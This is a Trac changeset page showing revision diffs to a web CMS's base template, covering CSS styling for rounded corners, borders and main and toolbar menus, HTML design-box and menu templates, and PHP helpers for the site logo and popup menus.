    52         <div style='font-size: 14px; font-weight: bold; margin-top: 12px;'><bx_text:_sys_outdated_browser /></div> 
    53         <div style='font-size: 12px; margin-top: 6px; line-height: 12px;'><bx_text:_sys_outdated_browser_explain /></div> 
    54       </div> 
    55       <div style='width: 75px; float: left;'><a href='http://www.firefox.com' target='_blank'><img src='http://www.ie6nomore.com/files/theme/ie6nomore-firefox.jpg' style='border: none;' alt='Get Firefox 3.5'/></a></div> 
    56       <div style='width: 75px; float: left;'><a href='http://www.browserforthebetter.com/download.html' target='_blank'><img src='http://www.ie6nomore.com/files/theme/ie6nomore-ie8.jpg' style='border: none;' alt='Get Internet Explorer 8'/></a></div> 
    57       <div style='width: 73px; float: left;'><a href='http://www.apple.com/safari/download/' target='_blank'><img src='http://www.ie6nomore.com/files/theme/ie6nomore-safari.jpg' style='border: none;' alt='Get Safari 4'/></a></div> 
    58       <div style='float: left;'><a href='http://www.google.com/chrome' target='_blank'><img src='http://www.ie6nomore.com/files/theme/ie6nomore-chrome.jpg' style='border: none;' alt='Get Google Chrome'/></a></div> 
    59     </div> 
    60   </div> 
    61   <![endif]--> 
    62  
  • trunk/templates/base/css/common.css

    r15922 r15942  
    1  
    2 /* --------------- general styles */ 
    31 
    42a { 
     
    2826} 
    2927 
    30 /* --------------- logo */ 
    31  
    32 #bx-logo-container { 
    33  
    34 } 
    35  
    36 /* --------------- footer */ 
    37  
    38 #bx-footer-copyright { 
    39     float:right; 
    40 } 
    41  
    4228/* --------------- design boxes */ 
    4329 
     
    7864.bx-popup {     
    7965    overflow:hidden; 
    80  
    81     border-radius:3px; 
    82     -moz-border-radius:3px; 
    83     -webkit-border-radius:3px;   
    8466 
    8567    -moz-box-shadow:0px 0px 10px 0px rgba(128, 128, 128, 0.3), 0px 1px 2px 0px rgba(0, 0, 0, 0.3); 
     
    138120.bx-loading-ajax { 
    139121    position:absolute; 
    140     width:128px; 
    141     height:15px; 
     122    width:43px; 
     123    height:11px; 
    142124    z-index:10; 
    143125    margin-left:auto; 
     
    145127    padding:10px 10px; 
    146128 
    147     background-color:rgb(96, 96, 96); 
    148     background-color:rgba(96, 96, 96, 0.5); 
     129    background-color:rgb(128, 169, 213); 
     130    background-color:rgba(128, 169, 213, 0.5); 
    149131 
    150132    border-radius:5px; 
     
    156138} 
    157139.bx-loading-ajax-rotating { 
    158     width:128px; 
    159     height:15px; 
     140    width:43px; 
     141    height:11px; 
    160142    z-index:11; 
    161143 
  • trunk/templates/base/css/default.css

    r15750 r15942  
    1  
    2 /* page */ 
    3 .bx-def-page-margin { 
    4     margin:0 auto 0 auto; 
    5 } 
    61 
    72/* popup */ 
     
    9994.bx-def-color-bg-page { 
    10095    background-color:#f2f2f2; 
     96    background-image:url(../images/bg-page.jpg); 
    10197} 
    10298 
     
    133129 
    134130.bx-def-border { 
    135     border:1px solid #dddddd; 
     131    border:1px solid #d0d0d0; 
    136132} 
    137133.bx-def-border-rightbottomleft { 
    138     border:1px solid #dddddd; 
     134    border:1px solid #d0d0d0; 
    139135    padding-top:none; 
    140136} 
    141137.bx-def-border-top { 
    142     border-top:1px solid #dddddd; 
     138    border-top:1px solid #d0d0d0; 
    143139} 
    144140.bx-def-border-right { 
    145     border-right:1px solid #dddddd; 
     141    border-right:1px solid #d0d0d0; 
    146142} 
    147143.bx-def-border-bottom { 
    148     border-bottom:1px solid #dddddd; 
     144    border-bottom:1px solid #d0d0d0; 
    149145} 
    150146.bx-def-border-left { 
    151     border-left:1px solid #dddddd; 
     147    border-left:1px solid #d0d0d0; 
     148} 
     149 
     150/* round corders */ 
     151 
     152.bx-def-round-corners { 
     153    border-radius:3px; 
     154    -moz-border-radius:3px; 
     155    -webkit-border-radius:3px;   
    152156} 
    153157 
  • trunk/templates/base/css/menu.css

    r15922 r15942  
    1  
    2 /* --------------- menu main */ 
    3  
    4 #bx-menu-main-container { 
    5     width:100%; 
    6 } 
    71 
    82/* --------------- menu footer */ 
     
    6458 
    6559 
    66  
     60/* --------------- main menu */ 
     61 
     62ul.bx-menu-main { 
     63    display: table; 
     64    padding:0; 
     65    margin:0 auto; 
     66    list-style:none; 
     67} 
     68 
     69.bx-menu-main li { 
     70    float:left; 
     71    margin:0; 
     72    background-color:#f6f6f6; 
     73    border-right:1px solid #d0d0d0; 
     74 
     75    -webkit-box-shadow: inset 0px -1px 0px rgba(128, 128, 128, 0.1); 
     76    -moz-box-shadow: inset 0px -1px 0px rgba(128, 128, 128, 0.1); 
     77    box-shadow: inset 0px -1px 0px rgba(128, 128, 128, 0.1); 
     78 
     79    -webkit-transition: background 0.2s ease-in-out; 
     80    -moz-transition: background 0.2s ease-in-out; 
     81    -o-transition: background 0.2s ease-in-out; 
     82} 
     83 
     84.bx-menu-main li:first-child { 
     85    border-left:1px solid #d0d0d0; 
     86} 
     87 
     88.bx-menu-main li a { 
     89    display:block; 
     90    text-decoration:none; 
     91} 
     92 
     93.bx-menu-main li.bx-menu-tab-active a { 
     94    color:#000; 
     95} 
     96 
     97.bx-menu-main li:hover { 
     98    background-color:rgba(255, 255, 255, 0.9); 
     99} 
     100 
     101.bx-menu-main li:active, 
     102.bx-menu-main li.bx-menu-tab-active { 
     103    -webkit-box-shadow: inset 0px 0px 8px rgba(128, 128, 128, 0.35); 
     104    -moz-box-shadow: inset 0px 0px 8px rgba(128, 128, 128, 0.35); 
     105    box-shadow: inset 0px 0px 8px rgba(128, 128, 128, 0.35); 
     106 
     107    -webkit-transition-duration: 0.0s; 
     108    -moz-transition-duration: 0.0s; 
     109    -o-transition-duration: 0.0s; 
     110} 
     111 
     112 
     113 
     114/* --------------- toolbar menu */ 
     115 
     116#bx-menu-toolbar-1-container .bx-menu-toolbar { 
     117    float:left; 
     118} 
     119 
     120#bx-menu-toolbar-2-container .bx-menu-toolbar { 
     121    float:right; 
     122} 
     123 
     124.bx-menu-toolbar { 
     125    list-style:none; 
     126    margin:0 0 0 0; 
     127    padding:0;             
     128} 
     129ul.bx-menu-toolbar li { 
     130 
     131    float:left;          
     132    margin: 0px;             
     133 
     134    min-width: 48px; 
     135    height: 48px;             
     136 
     137    border: 1px solid #000000; 
     138    border: 1px solid rgba(0, 0, 0, 0.3); 
     139    border-width: 1px 0px 1px 1px;             
     140 
     141    -moz-box-shadow: inset 0px 1px 0px 0px rgba(255, 255, 255, 0.3), 0px 1px 0px 0px rgba(255, 255, 255, 0.3); 
     142    -webkit-box-shadow: inset 0px 1px 0px 0px rgba(255, 255, 255, 0.3), 0px 1px 0px 0px rgba(255, 255, 255, 0.3); 
     143    box-shadow: inset 0px 1px 0px 0px rgba(255, 255, 255, 0.3), 0px 1px 0px 0px rgba(255, 255, 255, 0.3);   
     144 
     145    -webkit-transition: background 0.2s ease-in-out; 
     146}         
     147ul.bx-menu-toolbar li:first-child { 
     148    border-radius: 6px 0px 0px 6px; 
     149    -moz-border-radius: 6px 0px 0px 6px; 
     150} 
     151ul.bx-menu-toolbar li:last-child { 
     152    border-radius: 0px 6px 6px 0px; 
     153    -moz-border-radius: 0px 6px 6px 0px; 
     154    border-width: 1px; 
     155} 
     156 
     157ul.bx-menu-toolbar li:last-child:first-child { 
     158    border-radius: 6px; 
     159    -moz-border-radius: 6px; 
     160} 
     161 
     162ul.bx-menu-toolbar li a { 
     163    position:relative; 
     164    display:block; 
     165    padding:0 10px; 
     166    height:100%; 
     167    min-width:28px; 
     168    line-height: 48px; 
     169 
     170    font-size: 16px; 
     171    font-weight: bold; 
     172    text-align: center; 
     173    color: #fff; 
     174    text-decoration:none; 
     175    text-shadow: rgba(0, 0, 0, 0.5) 0px 1px 0px; 
     176} 
     177ul.bx-menu-toolbar li img { 
     178    width:28px; 
     179    height:48px; 
     180    background-position:center center; 
     181    background-repeat:no-repeat; 
     182} 
     183 
     184ul.bx-menu-toolbar li:hover { 
     185    background-color: rgba(75, 127, 181, 0.5); 
     186} 
     187 
     188ul.bx-menu-toolbar li:active, 
     189ul.bx-menu-toolbar li.bx-menu-tab-active { 
     190    background-color: rgb(37, 64, 90); 
     191    background-color: rgba(37, 64, 90, 0.3); 
     192 
     193    -moz-box-shadow: inset 0px 1px 1px 0px rgba(0, 0, 0, 0.5), 0px 1px 0px 0px rgba(255, 255, 255, 0.3); 
     194    -webkit-box-shadow: inset 0px 1px 1px 0px rgba(0, 0, 0, 0.5), 0px 1px 0px 0px rgba(255, 255, 255, 0.3); 
     195    box-shadow: inset 0px 1px 1px 0px rgba(0, 0, 0, 0.5), 0px 1px 0px 0px rgba(255, 255, 255, 0.3); 
     196 
     197    -webkit-transition-duration: 0.0s; 
     198} 
     199ul.bx-menu-toolbar li:active a, 
     200ul.bx-menu-toolbar li.bx-menu-tab-active a { 
     201    top:1px; 
     202} 
     203 
     204 
  • trunk/templates/base/designbox_1.html

    r15545 r15942  
    1 <div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom"> 
     1<div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom bx-def-round-corners"> 
    22    <div class="bx-db-header"><div class="bx-db-title bx-def-padding-left bx-def-padding-top bx-def-font-h2">__title__</div>__caption_item__<div class="bx-clear"></div></div> 
    33    <div class="bx-db-content">__designbox_content__</div> 
  • trunk/templates/base/designbox_11.html

    r15774 r15942  
    1 <div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom" style="background-image:url(/d8/studio/templates/base/images/bx-std-bg-page.jpg);"> 
     1<div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom bx-def-round-corners"> 
    22    <div class="bx-db-header"><div class="bx-db-title bx-def-padding-left bx-def-padding-top bx-def-font-h2">__title__</div>__caption_item__<div class="bx-clear"></div></div> 
    33    <div class="bx-db-content bx-def-padding">__designbox_content__</div> 
  • trunk/templates/base/designbox_13.html

    r15211 r15942  
    1 <div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom"> 
     1<div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom bx-def-round-corners"> 
    22    <div class="bx-db-content bx-def-padding"> 
    33            __designbox_content__ 
  • trunk/templates/base/designbox_3.html

    r15211 r15942  
    1 <div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom"> 
     1<div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom bx-def-round-corners"> 
    22    <div class="bx-db-content"> 
    33            __designbox_content__ 
  • trunk/templates/base/menu_main.html

    r15749 r15942  
    1 <ul id="bx-menu-main" class="bx-menu-hor"> 
     1<ul id="bx-menu-main" class="bx-menu-main bx-def-font-h3"> 
    22    <bx_repeat:menu_items> 
    3         <li class="__class_add__"><a href="__link__" target="__target__" onclick="__onclick__">__title__</a></li> 
     3        <li class="__class_add__"><a class="bx-def-padding-right bx-def-padding-left" href="__link__" target="__target__" onclick="__onclick__">__title__</a></li> 
    44    </bx_repeat:menu_items> 
    55    <div class="bx-clear"></div> 
    66</ul> 
     7<script> 
     8    $(document).ready(function () { 
     9        $('#bx-menu-main li').click(function () { 
     10            $('#bx-menu-main li').removeClass('bx-menu-tab-active'); 
     11            $(this).addClass('bx-menu-tab-active'); 
     12        }); 
     13    }); 
     14</script> 
  • trunk/templates/base/popup_box.html

    r15922 r15942  
    99        <i class="i6 bx-def-color-bg-block">&#160;</i> 
    1010    </div> 
    11     <div class="bx-popup bx-popup-box bx-db-container bx-def-popup-width bx-def-color-bg-block"> 
     11    <div class="bx-popup bx-popup-box bx-db-container bx-def-popup-width bx-def-color-bg-block bx-def-round-corners"> 
    1212        <div class="bx-db-header"> 
    1313            <div class="bx-db-title bx-def-padding-left"><h2>__title__</h2></div> 
  • trunk/templates/base/popup_trans.html

    r15752 r15942  
    99        <i class="i6 bx-def-color-bg-block">&#160;</i> 
    1010    </div> 
    11     <div class="bx-popup bx-popup-trans"> 
     11    <div class="bx-popup bx-popup-trans bx-def-round-corners"> 
    1212        __content__ 
    1313    </div> 
  • trunk/templates/base/scripts/BxBaseFunctions.php

    r15934 r15942  
    606606        return $sCode; 
    607607    } 
     608 
     609    /** 
     610     * Get logo HTML. 
     611     * @return string 
     612     */ 
     613    function getMainLogo() { 
     614        bx_import('BxDolConfig'); 
     615 
     616        $sAlt = getParam('sys_site_logo_alt') ? getParam('sys_site_logo_alt') : getParam('site_title'); 
     617 
     618        $iFileId = (int)getParam('sys_site_logo'); 
     619        if (!$iFileId) 
     620            return $sAlt; 
     621 
     622        bx_import('BxDolStorage'); 
     623        $oStorage = BxDolStorage::getObjectInstance(BX_DOL_STORAGE_OBJ_IMAGES); 
     624        $sFileUrl = $oStorage->getFileUrlById($iFileId); 
     625        if (!$sFileUrl) 
     626            return $sAlt; 
     627 
     628        return '<a href="' . BX_DOL_URL_ROOT . '" title="' . bx_html_attribute($sAlt, BX_ESCAPE_STR_QUOTE) . '"><img src="' . $sFileUrl . '" id="bx-logo" class="bx-def-margin-sec" alt="' . bx_html_attribute($sAlt, BX_ESCAPE_STR_QUOTE) . '" /></a>'; 
     629    } 
    608630} 
  • trunk/templates/base/scripts/BxBaseMenu.php

    r15907 r15942  
    3232     * @return string 
    3333     */ 
    34     public function getCode () {         
     34    public function getCode () { 
    3535 
    3636        $aVars = array ( 
     
    4242                 
    4343        return $this->_oTemplate->parseHtmlByName($this->_aObject['template'], $aVars); 
     44    } 
     45 
     46    /**  
     47     * Get menu code for displaying menu in popup. 
     48     * @return string 
     49     */ 
     50    public function getCodeForPopup () { 
     51        bx_import('BxTemplFunctions'); 
     52        return BxTemplFunctions::getInstance()->transBox('<div class="bx-def-padding bx-def-color-bg-block">' . $this->getCode () . '</div>'); 
    4453    } 
    4554 
     
    6675            $a['class_add'] = $this->_isSelected($a) ? 'bx-menu-tab-active' : ''; 
    6776            $a['link'] = isset($a['link']) ? $this->_oPermalinks->permalink($a['link']) : 'javascript:void(0);'; 
    68             $a['title'] = _t($a['title']);             
     77            $a['title'] = _t($a['title']); 
     78            $a['bx_if:icon'] = array ( 
     79                'condition' => !empty($a['icon']), 
     80                'content' => array('icon_url' => !empty($a['icon']) ? $this->_oTemplate->getIconUrl($a['icon']) : ''), 
     81            ); 
    6982 
    7083            $aRet[] = $a; 
Note: See TracChangeset for help on using the changeset viewer.